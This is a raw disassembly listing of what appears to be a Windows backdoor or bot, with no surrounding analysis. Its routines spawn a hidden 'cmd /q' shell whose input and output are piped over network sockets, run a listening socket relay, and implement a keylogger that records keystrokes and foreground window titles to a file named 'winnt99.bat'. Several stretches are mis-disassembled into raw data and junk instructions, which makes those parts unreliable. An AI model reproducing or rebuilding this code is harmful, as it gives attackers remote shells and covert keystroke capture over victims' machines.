
loc_4110BF:				; CODE XREF: sub_410FCB+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FCB	endp

; ---------------------------------------------------------------------------


loc_4110C4:				; CODE XREF: sub_410FCB+94p
		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-58h]
		push	esi
		push	eax
		mov	[ebp-4], esi
		call	sub_41B780
		push	10h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B780
		mov	eax, [ebp+8]
		mov	ebx, [ebp+0Ch]
		add	esp, 18h
		mov	[ebp-20h], eax
		lea	eax, [ebp-18h]
		mov	[ebp-58h], edi
		mov	edi, ds:dword_4280FC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp-54h], esi
		mov	[ebp-4Ch], esi
		mov	[ebp-50h], esi
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], esi
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	[ebp-28h], si
		mov	[ebp-24h], esi
		mov	[ebp-26h], si
		mov	dword ptr [ebp-2Ch], 101h
		mov	[ebp-1Ch], ebx
		call	edi	; GetCurrentProcess
		push	eax
		push	ebx
		call	edi	; GetCurrentProcess
		push	eax
		call	near ptr 0B10000h
		push	cs
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 0B10000h
		mov	bh, 85h
		sal	byte ptr [eax-75h], 45h
		adc	[ebx-3F960BB3h], cl
		xor	al, 2
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		mov	esi, [ebp-14h]
		mov	ds:dword_440B40[eax], ecx
		call	ds:dword_42806C	; CloseHandle
		jmp	short loc_411196
; ---------------------------------------------------------------------------
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4370C8
		call	sub_415322
		mov	esi, [ebp-4]
		pop	ecx
		pop	ecx


loc_411196:				; CODE XREF: seg000:0041117Ej
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41119D	proc near		; DATA XREF: seg000:00410EB5o

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		mov	ebx, ds:dword_4280E8
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		jmp	short loc_411200
; ---------------------------------------------------------------------------


loc_4111B4:				; CODE XREF: sub_41119D+7Bj
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_4111E9


loc_4111BF:				; CODE XREF: sub_41119D+4Aj
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_4111D9
		cmp	dl, 0Dh
		jz	short loc_4111D9
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_4111D9:				; CODE XREF: sub_41119D+2Cj
					; sub_41119D+31j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_4111BF


loc_4111E9:				; CODE XREF: sub_41119D+20j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4CDC48	; send
		test	eax, eax
		jle	short loc_41121A


loc_411200:				; CODE XREF: sub_41119D+15j
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		call	ebx	; ReadFile
		test	eax, eax
		jnz	short loc_4111B4


loc_41121A:				; CODE XREF: sub_41119D+61j
		mov	esi, ds:dword_42808C
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411236
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437108
		call	sub_415322
		pop	ecx
		pop	ecx


loc_411236:				; CODE XREF: sub_41119D+88j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41119D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41123B	proc near		; DATA XREF: seg000:00410EEBo

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_333474B8	= dword	ptr  333474C0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		jmp	loc_411334
; ---------------------------------------------------------------------------


loc_411256:				; CODE XREF: sub_41123B+10Ej
		cmp	[ebp+var_10], ebx
		jbe	short loc_411263
		dec	[ebp+var_10]
		jmp	loc_411337
; ---------------------------------------------------------------------------


loc_411263:				; CODE XREF: sub_41123B+1Ej
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	near ptr loc_41131E+1
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_4112D3
		cmp	al, 7Fh
		jz	short loc_4112D3
		cmp	al, 3
		jnz	short loc_41128E
		push	ebx
		push	ebx
		call	near ptr 0B10000h
		inc	edi
		jmp	short loc_4112FA
; ---------------------------------------------------------------------------


loc_41128E:				; CODE XREF: sub_41123B+47j
		cmp	al, 15h
		jnz	short loc_4112B0
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_4112E6
; ---------------------------------------------------------------------------


loc_4112B0:				; CODE XREF: sub_41123B+55j
		xor	ecx, ecx
		mov	[ebp+esi+var_DC], al
		inc	esi
		inc	ecx
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		jnz	short loc_4112E7
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4112E6
; ---------------------------------------------------------------------------


loc_4112D3:				; CODE XREF: sub_41123B+3Fj
					; sub_41123B+43j
		cmp	esi, ebx
		jbe	short loc_4112FD
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_4112E6:				; CODE XREF: sub_41123B+73j
					; sub_41123B+96j
		pop	ecx


loc_4112E7:				; CODE XREF: sub_41123B+85j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4CDC48	; send
		test	eax, eax
		jle	short loc_41134F


loc_4112FA:				; CODE XREF: sub_41123B+51j
		mov	al, byte ptr [ebp+arg_0+3]


loc_4112FD:				; CODE XREF: sub_41123B+9Aj
		cmp	al, 0Dh
		jnz	short loc_411337
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 0B10000h
		rol	[ebp+arg_333474B8], 1
		imul	bl


loc_41131E:				; CODE XREF: sub_41123B+34j
		sbb	[ecx], bh
		pop	ebp
		hlt
; ---------------------------------------------------------------------------
		jnz	short loc_41132D
		mov	[ebp+var_C], 1
		jmp	short loc_411337
; ---------------------------------------------------------------------------


loc_41132D:				; CODE XREF: sub_41123B+E7j
		mov	[ebp+var_10], 0Ah


loc_411334:				; CODE XREF: sub_41123B+16j
		mov	[ebp+var_C], ebx


loc_411337:				; CODE XREF: sub_41123B+23j
					; sub_41123B+C4j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_4CDC10	; recv
		test	eax, eax
		jg	loc_411256


loc_41134F:				; CODE XREF: sub_41123B+BDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41123B	endp

; ---------------------------------------------------------------------------


loc_411354:				; DATA XREF: seg000:0040470Co
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		xor	edi, edi
		xor	esi, esi
		inc	edi
		push	ebx
		mov	[eax+0A8h], edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_4CDBF8	; htons
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_440B44[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_4CDC24	; bind
		test	eax, eax
		jnz	loc_4114F5
		push	0Ah
		push	edi
		call	ds:dword_4CDC20	; listen
		test	eax, eax
		jnz	loc_4114F5
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_42CF70
		push	eax
		call	sub_41BA76
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_41142F
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_409966
		add	esp, 14h


loc_41142F:				; CODE XREF: seg000:0041140Dj
					; seg000:004114DEj ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4152AE
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_4CDC8C	; accept
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_4CDC84	; inet_ntoa
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_4371B8
		push	eax
		call	sub_41BA76
		push	ebx
		lea	eax, [ebp-2D4h]
		push	19h
		push	eax
		call	sub_40AF71
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_440B3C[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_411558
		push	esi
		push	esi
		call	ds:dword_42807C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_440B4C[ecx], eax
		jnz	short loc_4114EB
		call	ds:dword_42808C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_437178
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		jmp	loc_41142F
; ---------------------------------------------------------------------------


loc_4114E3:				; CODE XREF: seg000:004114EEj
		push	5
		call	ds:dword_428064	; Sleep


loc_4114EB:				; CODE XREF: seg000:004114C1j
		cmp	[ebp-28h], esi
		jz	short loc_4114E3
		jmp	loc_41142F
; ---------------------------------------------------------------------------


loc_4114F5:				; CODE XREF: seg000:004113CFj
					; seg000:004113E0j
		push	edi
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset dword_437144
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_411538
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_409966
		add	esp, 14h


loc_411538:				; CODE XREF: seg000:00411516j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-3Ch]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B10000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_411558:				; DATA XREF: seg000:004114A3o
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		xor	edi, edi
		mov	[ebp+8], esi
		imul	esi, 234h
		inc	edi
		lea	esi, dword_440B44[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_4CDBE0	; select
		test	eax, eax
		jnz	short near ptr loc_4115D8+1
		push	dword ptr [esi]
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h


loc_4115D8:				; CODE XREF: seg000:004115BFj
		fst	qword ptr [ebx-73h]
		test	[eax], esi
		sti
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 40868h, 36FF5000h, 0DC1015FFh, 0C085004Ch, 36FF187Fh
		dd 0DC9015FFh, 75FF004Ch, 9C85E808h, 5359FFFFh,	6FE9F7E8h
		dd 0BD80D900h, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh
		dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh
		dd 0AC27E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h
		dd 846850FFh, 0E8004372h, 3CCEh, 40068h, 38858D00h, 53FFFFFBh
		dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0DE85DFFh, 830000A1h
		dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh,	4CDC48h
		dd 15FF36FFh, 4CDC90h, 0E80875FFh, 0FFFF9BEFh, 61E85359h
		dd 46006FE9h, 458D106Ah, 0E85053E8h, 0A0D4h, 32858B66h
		dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h,	6A57066Ah
		dd 45C76602h, 890002E8h, 15FFEC45h, 4CDC78h, 0FF83F88Bh
		dd 0FF5D75FFh, 4CDB8C15h, 44685000h, 0E8004372h, 3C36h
		dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh
		dd 0FFFB3185h, 75E85BFFh, 830000A0h, 858D14C4h,	0FFFFFB30h
		dd 50086A53h, 15FF36FFh, 4CDC48h, 15FF36FFh, 4CDC90h, 0E80875FFh
		dd 0FFFF9B57h, 0C9E85359h, 0A0006FE8h, 6AE8458Dh, 0FF575010h
		dd 4CDBA015h, 0FFF88300h, 15FF5D75h, 4CDB8Ch, 72006850h
		dd 0C7E80043h, 6800003Bh, 400h,	0FB38858Dh, 5053FFFFh
		dd 0FB309D88h, 85C6FFFFh, 0FFFFFB31h, 0A006E85Bh, 0C4830000h
		dd 30858D14h, 53FFFFFBh, 0FF50086Ah, 4815FF36h,	0FF004CDCh
		dd 9015FF36h, 0FF004CDCh, 0E8E80875h, 59FFFF9Ah, 0E85AE853h
		dd 687B006Fh, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FBAE85Ah, 0C4830000h, 30858D0Ch
		dd 53FFFFFBh, 0FF50086Ah, 4815FF36h, 0FF004CDCh, 39E85736h
		dd 59000000h, 15FF5759h, 4CDC90h, 15FF36FFh, 4CDC90h, 0E80875FFh
		dd 0FFFF9A8Bh, 0FDE85359h, 7C006FE7h, 15FF36FFh, 4CDC90h
		dd 0E80875FFh, 0FFFF9A73h, 0E5E85359h, 0CE006FE7h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_411832:				; CODE XREF: seg000:004118DAj
					; seg000:0041190Aj
		xor	ecx, ecx
		mov	[ebp-100h], ebx
		inc	ecx
		xor	eax, eax
		mov	[ebp-104h], ecx


loc_411843:				; CODE XREF: seg000:00411852j
		mov	edx, [ebp+8]
		cmp	[ebp+eax*4-100h], edx
		jz	short loc_411854
		inc	eax
		cmp	eax, ecx
		jb	short loc_411843


loc_411854:				; CODE XREF: seg000:0041184Dj
		cmp	eax, ecx
		jnz	short loc_411868
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_411868:				; CODE XREF: seg000:00411856j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_4CDBE0	; select
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_4CDAE4	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4118C8
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4CDC10	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411910
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411910


loc_4118C8:				; CODE XREF: seg000:0041189Aj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDAE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_411832
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4CDC10	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411910
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411832


loc_411910:				; CODE XREF: seg000:004118AFj
					; seg000:004118C6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_411915	db 55h,	8Bh, 0ECh	; DATA XREF: seg000:00403B75o
					; seg000:0040BA2Co
		dd 87CEC81h, 558B0000h,	33565308h, 0C03357DBh, 0A9B9h
		dd 8DF28B00h, 0FFFC8CBDh, 6A4053FFh, 0FFA5F302h, 0FFFE9C85h
		dd 89026AFFh, 4589F045h, 0F84589ECh, 2A08289h, 15FF0000h
		dd 4CDC78h, 0FE83F08Bh,	685675FFh, 190h, 806415FFh, 9D390042h
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7FD4E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 390DE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF98DBh, 0E8535959h, 6FE64Ch, 0F0458D78h,	0BF50046Ah
		dd 0FFFFh, 5657046Ah, 0DBD815FFh, 458D004Ch, 50046AECh
		dd 5657FB6Ah, 0DBD815FFh, 858B004Ch, 0FFFFFE98h, 0C069106Ah
		dd 234h, 44B08953h, 8D00440Bh, 0E850D445h, 9D88h, 660CC483h
		dd 2D445C7h, 0A0B5FF00h, 0FFFFFFFEh, 4CDBF815h,	45896600h
		dd 0D4458DD6h, 5650106Ah, 0FFD85D89h, 4CDC2415h, 0FFF88300h
		dd 88681975h, 0FF000013h, 42806415h, 9C8DFF00h,	0FFFFFFFEh
		dd 29E90875h, 8D000003h, 0FFFC9085h, 0A06C68FFh, 0E8500042h
		dd 9C62h, 59C33B59h, 75FC4589h,	190684Ch, 15FF0000h, 428064h
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 0F888858Dh, 0E850FFFFh
		dd 381Eh, 0FE98B5FFh, 0ECE8FFFFh, 83FFFF97h, 0E8531CC4h
		dd 6FE55Ch, 87D8B49h, 2A09F39h,	840F0000h, 277h, 80BFh
		dd 30858D00h, 57FFFFFFh, 45C75053h, 5E4h, 0E845C700h, 1388h
		dd 0F788B589h, 85C7FFFFh, 0FFFFF784h, 1, 9C9BE8h, 0CC48300h
		dd 50E4458Dh, 84858D53h, 53FFFFF7h, 15FF5350h, 4CDBE0h
		dd 8E0FC085h, 21Bh, 43FDB4A0h, 88CF8B00h, 0FFFA8885h, 8DC033FFh
		dd 0FFFA89BDh, 0F445C7FFh, 10h,	0AB66ABF3h, 0F4458DAAh
		dd 0C4458D50h, 858D5350h, 0FFFFFF30h, 8068h, 0FF565000h
		dd 4CDBD015h, 0C875FF00h, 0FFF84589h, 4CDC8415h, 458D5000h
		dd 1FE850B0h, 3800009Fh, 0FFFF309Dh, 0F5959FFh,	1A485h
		dd 31BD8000h, 1FFFFFFh,	0A3850Fh, 858D0000h, 0FFFFFD94h
		dd 9652E850h, 53530000h, 0E8FC75FFh, 0B885h, 8DFC75FFh
		dd 0FFFA8C85h, 889D88FFh, 0C6FFFFFAh, 0FFFA8985h, 6803FFh
		dd 6A000002h, 9D885001h, 0FFFFFA8Ah, 0FA8B85C6h, 0E801FFFFh
		dd 9752h, 8D20C483h, 4589C44Dh,	4C083F8h, 51F475FFh, 858D5053h
		dd 0FFFFFA88h, 15FF5650h, 4CDC5Ch, 0FF289D39h, 2375FFFFh
		dd 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh, 0FFFFFEA4h
		dd 8CB5FF50h, 0E8FFFFFCh, 0FFFF7D66h, 8D14C483h, 0FFF88885h
		dd 9FE850FFh, 59000036h, 10AE9h, 31BD8000h, 4FFFFFFh, 0E7850Fh
		dd 8D8A0000h, 0FFFFFF33h, 0FF32858Ah, 0F980FFFFh, 889D88FFh
		dd 0C6FFFFFAh, 0FFFA8985h, 0C7503FFh, 0C932C0FEh, 0FA8B9D88h
		dd 8EBFFFFh, 8D88C1FEh,	0FFFFFA8Bh, 0FA8A8588h,	0BFFFFFh
		dd 0F000002h, 0B60FC0B6h, 8E0C1C9h, 0C153C103h,	0C72B09E0h
		dd 0FC75FF50h, 0B794E8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 7FE85001h, 83000096h, 0F88B1CC4h, 89C4458Dh,	75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CDC5C15h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	4372D0h
		dd 9DB0E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF7C75E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 35AEh, 6F005FFh, 0EB59004Dh,	0F475FF16h, 50C4458Dh
		dd 68096A53h, 4372C4h, 5C15FF56h, 39004CDCh, 8F0FF85Dh
		dd 0FFFFFD7Dh, 56087D8Bh, 0DC9015FFh, 75FF004Ch, 9511E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF9533h, 0A5E85359h, 0CB006FE2h, 3E868h
		dd 6415FF00h, 57004280h, 0FFFBA8E8h, 5B5E5FFFh,	4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D74	proc near		; CODE XREF: seg000:00411F07p
					; seg000:0041209Ap

var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_428130	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 0B10000h
		inc	eax
		lea	eax, [ebp+var_114]
		push	offset asc_437A94 ; "\\"
		push	eax
		call	sub_41C0B0
		lea	eax, [ebp+var_114]
		push	offset aWinnt99_bat ; "winnt99.bat"
		push	eax
		call	sub_41C0B0
		lea	eax, [ebp+var_114]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B6B2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411DD9
		inc	eax
		jmp	short loc_411E50
; ---------------------------------------------------------------------------


loc_411DD9:				; CODE XREF: sub_411D74+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BFF6
		push	esi
		call	sub_41B24B
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_411E4E
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_437A64
		push	200h
		push	eax
		call	sub_41BB70
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409966
		add	esp, 24h


loc_411E4E:				; CODE XREF: sub_411D74+A1j
		xor	eax, eax


loc_411E50:				; CODE XREF: sub_411D74+63j
		pop	esi
		leave
		retn
sub_411D74	endp

; ---------------------------------------------------------------------------


loc_411E53:				; DATA XREF: seg000:00405F13o
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	ds:dword_4CDB7C	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_4CDB94	; GetWindowTextA
		mov	ebx, 200h


loc_411EAE:				; CODE XREF: seg000:0041210Ej
		push	8
		call	ds:dword_428064	; Sleep
		call	ds:dword_4CDB7C	; GetForegroundWindow
		cmp	eax, [ebp-8]
		jz	short loc_411F36
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_4CDB94	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41BA76
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_411D74
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch


loc_411F36:				; CODE XREF: seg000:00411EBFj
		mov	dword ptr [ebp+8], offset aB_0 ; "b"


loc_411F3D:				; CODE XREF: seg000:00412104j
		push	10h
		call	ds:dword_4CDACC	; GetKeyState
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_4CDBC4	; GetAsyncKeyState
		test	ah, ah
		jns	short loc_411FD4
		push	14h
		call	ds:dword_4CDACC	; GetKeyState
		test	ax, ax
		jz	short loc_411F85
		cmp	esi, 0FFFFFFFFh
		jle	short loc_411F85
		cmp	edi, 40h
		jle	short loc_411F85
		cmp	edi, 5Bh
		jge	short loc_411F85
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4120F9
; ---------------------------------------------------------------------------


loc_411F85:				; CODE XREF: seg000:00411F64j
					; seg000:00411F69j ...
		push	14h
		call	ds:dword_4CDACC	; GetKeyState
		test	ax, ax
		jz	short loc_411FB0
		test	esi, esi
		jge	short loc_411FC4
		cmp	edi, 40h
		jle	short loc_411FB0
		cmp	edi, 5Bh
		jge	short loc_411FB0
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4120F9
; ---------------------------------------------------------------------------


loc_411FB0:				; CODE XREF: seg000:00411F90j
